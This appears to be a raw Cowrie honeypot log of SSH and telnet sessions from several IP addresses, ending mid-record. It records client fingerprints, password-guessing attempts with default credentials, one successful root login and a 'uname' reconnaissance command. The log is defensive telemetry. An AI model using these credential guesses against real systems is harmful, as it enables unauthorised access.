{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:05:44.314974Z","src_ip":"92.118.39.92","session":"eb0c73993815","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345","message":"login attempt [ubuntu/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:05:44.641157Z","src_ip":"92.118.39.92","session":"eb0c73993815","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:05:45.753589Z","src_ip":"92.118.39.92","session":"eb0c73993815","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":40590,"dst_ip":"159.203.135.109","dst_port":22,"session":"931ef58ccada","protocol":"ssh","message":"New connection: 92.118.39.92:40590 (159.203.135.109:22) [session: 931ef58ccada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:07:58.143479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:07:58.148930Z","src_ip":"92.118.39.92","session":"931ef58ccada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:07:58.255389Z","src_ip":"92.118.39.92","session":"931ef58ccada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:07:58.572047Z","src_ip":"92.118.39.92","session":"931ef58ccada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:07:59.677776Z","src_ip":"92.118.39.92","session":"931ef58ccada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":52432,"dst_ip":"10.17.0.5","dst_port":22,"session":"b91d651e5269","protocol":"ssh","message":"New connection: 14.225.2.125:52432 (10.17.0.5:22) [session: b91d651e5269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:38.079918Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:38.335681Z","src_ip":"14.225.2.125","session":"b91d651e5269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":52444,"dst_ip":"10.17.0.5","dst_port":22,"session":"2447fef0e224","protocol":"ssh","message":"New connection: 14.225.2.125:52444 (10.17.0.5:22) [session: 2447fef0e224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:38.605113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:38.609929Z","src_ip":"14.225.2.125","session":"2447fef0e224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:38.884629Z","src_ip":"14.225.2.125","session":"2447fef0e224","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"omgpop","message":"login attempt [root/omgpop] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:39.708431Z","src_ip":"14.225.2.125","session":"2447fef0e224","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:40.295965Z","src_ip":"14.225.2.125","session":"2447fef0e224","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:40.299519Z","src_ip":"14.225.2.125","session":"2447fef0e224","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:40.577788Z","src_ip":"14.225.2.125","session":"2447fef0e224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:40.582766Z","src_ip":"14.225.2.125","session":"2447fef0e224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.128","src_port":39345,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fad1ed0a385","protocol":"ssh","message":"New connection: 104.152.52.128:39345 (10.17.0.5:22) [session: 8fad1ed0a385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:45.995204Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003\t=6i\\xedHM\\xb7\u9ce3\\x84v0\\\\xab\\xa41\u001a\\xc2\u0261\u001c\\xc0\u000f\u0019<\u001b\\xaf\\xf0\\xcd% \\xbb\\x93{\\xb3?\u0003M\\xa2r\\xe4e\\x8cY\\x9b\\xeca+\\xb8\\xddnW\\xa3\\xd3,B\\xaa\\xc0+\u000f'\\xdb\u0017\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003\t=6i\\xedHM\\xb7\u9ce3\\x84v0\\\\xab\\xa41\u001a\\xc2\u0261\u001c\\xc0\u000f\u0019<\u001b\\xaf\\xf0\\xcd% \\xbb\\x93{\\xb3?\u0003M\\xa2r\\xe4e\\x8cY\\x9b\\xeca+\\xb8\\xddnW\\xa3\\xd3,B\\xaa\\xc0+\u000f'\\xdb\u0017\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:46.001019Z","src_ip":"104.152.52.128","session":"8fad1ed0a385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:46.004929Z","src_ip":"104.152.52.128","session":"8fad1ed0a385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.126","src_port":44557,"dst_ip":"10.17.0.5","dst_port":22,"session":"2130bed012f4","protocol":"ssh","message":"New connection: 104.152.52.126:44557 (10.17.0.5:22) [session: 2130bed012f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:46.056102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:46.061004Z","src_ip":"104.152.52.126","session":"2130bed012f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:46.083435Z","src_ip":"104.152.52.126","session":"2130bed012f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:08:46.110386Z","src_ip":"104.152.52.126","session":"2130bed012f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.236.110.251","src_port":48514,"dst_ip":"159.203.135.109","dst_port":22,"session":"4737ee90fcff","protocol":"ssh","message":"New connection: 47.236.110.251:48514 (159.203.135.109:22) [session: 4737ee90fcff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:09:11.167054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:09:11.171670Z","src_ip":"47.236.110.251","session":"4737ee90fcff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:09:11.420223Z","src_ip":"47.236.110.251","session":"4737ee90fcff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cc","password":"1234","message":"login attempt [cc/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:09:12.437881Z","src_ip":"47.236.110.251","session":"4737ee90fcff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:09:13.686610Z","src_ip":"47.236.110.251","session":"4737ee90fcff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.83.118.18","src_port":13424,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc06e6c4777c","protocol":"telnet","message":"New connection: 206.83.118.18:13424 (159.203.135.109:23) [session: bc06e6c4777c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:09:17.340281Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":56164,"dst_ip":"159.203.135.109","dst_port":22,"session":"73b83f9c89f4","protocol":"ssh","message":"New connection: 92.118.39.92:56164 (159.203.135.109:22) [session: 73b83f9c89f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:10:15.464219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:10:15.469119Z","src_ip":"92.118.39.92","session":"73b83f9c89f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:10:15.568480Z","src_ip":"92.118.39.92","session":"73b83f9c89f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:10:15.867751Z","src_ip":"92.118.39.92","session":"73b83f9c89f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:10:16.969887Z","src_ip":"92.118.39.92","session":"73b83f9c89f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0071907043457,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:11:17.347310Z","src_ip":"206.83.118.18","session":"bc06e6c4777c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.80.61","src_port":36708,"dst_ip":"159.203.135.109","dst_port":22,"session":"4107b6e6eba4","protocol":"ssh","message":"New connection: 103.67.80.61:36708 (159.203.135.109:22) [session: 4107b6e6eba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:11:39.606710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:11:39.611328Z","src_ip":"103.67.80.61","session":"4107b6e6eba4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:11:39.851120Z","src_ip":"103.67.80.61","session":"4107b6e6eba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jira","password":"1234","message":"login attempt [jira/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:11:40.845828Z","src_ip":"103.67.80.61","session":"4107b6e6eba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:11:42.093112Z","src_ip":"103.67.80.61","session":"4107b6e6eba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":51364,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7464658262d","protocol":"ssh","message":"New connection: 159.223.57.48:51364 (159.203.135.109:22) [session: f7464658262d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:11:42.158046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:11:42.163032Z","src_ip":"159.223.57.48","session":"f7464658262d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","dif